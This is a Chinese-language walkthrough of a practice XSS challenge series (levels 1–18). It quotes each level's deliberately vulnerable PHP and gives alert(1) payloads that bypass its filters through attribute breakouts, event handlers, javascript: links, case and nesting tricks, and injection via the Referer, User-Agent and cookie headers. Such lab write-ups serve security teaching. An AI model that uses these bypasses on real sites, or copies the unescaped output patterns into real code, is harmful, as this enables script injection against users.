项目地址在文末
level1
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
level1.php?name=<script>alert(1)</script>
level2
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
直接传入发现没有弹窗,看源码发现前面有个value,要想办法闭合
level2.php?keyword="><script>alert(123)</script>&submit=%e6%90%9c%e7%b4%a2
level3

输入之后发现内容被转义
<:在 HTML 中,<有特殊含义(表示标签的开始)。 如果要显示普通的”小于号”字符,不能用 <,必须用 <来代替。与之对应的是>(>)
源码显示的是过滤了小于号大于号改用不需要该符号的标签即可
level3.php?keyword=' onfocus='alert(1)' autofocus='&submit=%E6%90%9C%E7%B4%A2
或者
level3.php?keyword=' onclick='alert(1)&submit=%E6%90%9C%E7%B4%A2
上面一个是访问自动弹窗,下面一个是点击输入框弹窗
level4
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
和level3方法上没什么区别
level4.php?keyword="+onclick="alert(1)&submit=%E6%90%9C%E7%B4%A2
level5
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
on开头的事件属性被过滤了,可以利用javascript伪协议创建链接点击
level5.php?keyword="><a href="javascript:alert(1)">qwe</a><"%21&submit=%E6%90%9C%E7%B4%A2
level6
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
常用标签都已被过滤了
html特性:不区分大小写
level6.php?keyword="><SCRipt>alert(1)</SCripT>&submit=%E6%90%9C%E7%B4%A2
这里直接大小写绕过

level7
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
过滤了大小写绕过,但是因为是直接转换为空字符,可以通过嵌套方式绕过
level7.php?keyword="><scrscriptipt>alert(1)</SCrscriptipT>%21&submit=%E6%90%9C%E7%B4%A2
level8
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
输入的内容会放在href属性中,而该属性有一个特点就是可以解析html实体编码,只要将r进行实体编码就能绕过
javascript:alert(1)
level9
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
输入中要有http://,但是不要求一定在字符串首部,把http://放在最后面,但是这样xss代码就会出错而不会执行,可以使用单行注释绕过
javascript:alert(1)//http://
实际运行的就是javascript:alert(1)则这部分
level10

看网站源代码发现三个隐藏的参数
level10.php?keyword=123&t_link=qwe&t_history=asd&t_sort=zxc
带上这三个参数一起传,发现只有第三个参数的值被传入

将参数t_sort值设置为"><script>alert(1)</srcript>发现存在过滤
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
审计源码过滤了大于号小于号,可以利用事件属性
?keyword=123&t_link=qwe&t_history=asd&t_sort=hello" type="text" onmouseover="alert(1)
首先让输入框不是hidden,然后,利用onmousevoer让鼠标经过输入框的时候执行代码
level11
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
这次直接get传参t_sort参数值会被注释掉

第一次跳转到level11时注意到有个t_ref参数,联系源码可知这是referer的值,所以可以利用referer头进行xss

在hackbar中添加referer头,值为
he" type="text" onmouseover="alert(1)
在鼠标经过输入框时触发xss

level12
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
源码发现t_ua参数对应的是user-agent头,方法和level11相同


level13
$str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden">
发现多了一个t_cook参数,猜测或者看源码可以得出是利用cookie值xss,给user赋值即可
user=he" type="text" onmouseover="alert(1)
level14
跳转网站,网址好像失效了,暂时先跳过.本意就是上传图片,网站会解析元数据,只要将图片元数据内容写入xss代码即可执行
level15
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
如果直接闭合传参会被转义
?src="><script>alert(123)</script>
主要是因为这里的htmlspecialchars会转义特殊字符
ng-include的作用:在 AngularJS 中动态加载并插入外部 HTML 文件片段到当前页面
<div ng-include="'child.html'"></div> //文件名左右要加引号
尝试include第一关的文件,成功

虽然特殊字符会被转义,但是不影响在其他关卡中的使用,但是要注意的是直接弹窗类的如<script>之类的标签无法发挥作用,但是<a>,<img>之类的需要手动触发的标签是可以的
?src='level1.php?name=<a href="javascript:alert(1)">qwe</a>'
level16
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
空格和/被过滤,空格用回车键的url编码代替,使用不需要斜杠的标签,如img
?keyword=<img%0asrc=xss%0aonerror="alert(1)">
level17
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
先分别传入值aaa和bbb,查看发现存在拼接

拼接绕过,因为不能有特殊字符,选择onerror事件属性,利用加载路径错误执行xss
?arg01=aaa&arg02= onmouseout=alert(1)
鼠标离开时就会自动触发
level18
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
paylaod和level17一摸一样
level19,20
涉及到逆向,暂时不研究了









